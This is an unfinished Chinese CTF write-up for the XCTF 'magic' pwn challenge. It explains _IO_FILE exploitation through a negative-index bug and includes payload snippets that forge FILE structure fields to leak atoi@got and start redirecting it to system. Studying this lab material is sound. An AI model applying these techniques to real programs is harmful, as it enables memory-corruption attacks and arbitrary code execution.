XCTF-magic-WP

Posted on Mar 7, 2021

这篇 WP 没有写完!!!

我还没有完成这篇 WP,因为有太多的源码没有研究,建议您看这一篇

写在前面

这道题是一个 _IO_FILE 利用,大概是我做过的最难的一道题,基本是看着 wp 才做出来的。同时 _IO_FILE 利用和源码的联系非常紧密,之后我会仔细研究一下源码,现在这篇 wp 还是非常的不成熟,许多地方我没有详细解释。

漏洞点

红框中的 v2 的检验不甚严格,当我们输入 -2 时可以访问到 log_file 指针

然后通过橙框中的语句我们可以对 *log_file 做修改,由 _IO_FILE 的结构

struct _IO_FILE {
int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr;	/* Current read pointer */
char* _IO_read_end;	/* End of get area. */
char* _IO_read_base;	/* Start of putback+get area. */
char* _IO_write_base;	/* Start of put area. */
char* _IO_write_ptr;	/* Current put pointer. */
char* _IO_write_end;	/* End of put area. */
char* _IO_buf_base;	/* Start of reserve area. */
char* _IO_buf_end;	/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base;  /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/*  char* _save_gptr;  char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可知可以做到 log_file->_IO_write_ptr -= 50 的效果。

利用思路

首先我们要先初始化一下 *log_file 这个结构体,也就是

create_wizard()
wizard_spell(0,'Avada_Kedavra')

然后调试一下看看 *log_file 的值是怎么样的

可见 _IO_write_ptr 指向的地址就在 *log_file 上方不远处,我们通过多次利用 log_file->_IO_write_ptr -= 50 就可以实现对 *log_file 的完全修改。同时,read_spell() 函数可以输出 (char*) _IO_read_ptr 指向的地址中的值,所以我们可以实现任意地址读写。

为了将 _IO_write_ptr 指向 *log_file 下面,需要调用 13 次 wizard_spell(),注意当我们输入的时候,会修改 _IO_write_ptr 指向的地址中的值,同时每输入一个字节就会使 _IO_write_ptr 加一。对于不同的机器,哪些地方有数据且不能被修改是不一样的,需要通过调试获得,这里提供一种可以通过远程靶机的输入方法,参考自这篇博客

for i in range(8):
    wizard_spell(-2,'\x00')

wizard_spell(-2,'\x00' * 13)

for i in range(3):
    wizard_spell(-2,'\x00')

wizard_spell(-2,'\x00' * 9)
wizard_spell(-2,'\x00')

此时 _IO_write_ptr 指向 log_file - 11,我们通过两次输入使 _IO_read_ptr 指向 atoi@got,并使 _IO_read_end > _IO_read_ptr 使 fread(&ptr, 1uLL, 0x20uLL, log_file); 可以读出 atoi@got 中的值,就可以算出 libc_base

payload = '\x00' * 3 + p64(0x231) + p64(0xfbad24a8)
wizard_spell(0,payload)
payload = p64(elf.got["atoi"]) + p64(elf.got["atoi"] + 0x100)
wizard_spell(0,payload)

要注意的是这里 _IO_read_end 需要大一点,因为每一次执行 read_spell 都会使 _IO_read_ptr 加 0x20,要避免在之后 _IO_read_end < _IO_read_ptr

自然的,下一步就是修改 atoi@gotsystem 了,在 fwrite 时修改 _IO_write_ptr 是做不到的,需要利用在 fread 时,当 _IO_read_end < _IO_read_ptr 时,将所有指针置为 _IO_buf_base 的值来实现对 _IO_write_ptr 的修改,这里需要先减小 _IO_write_ptr,然后抬升。

wizard_spell(-2,p64(0) * 2)

payload = '\x00' * 2 + p64(0x231) + p64(0xfbad24a8)
wizard_spell(0,payload)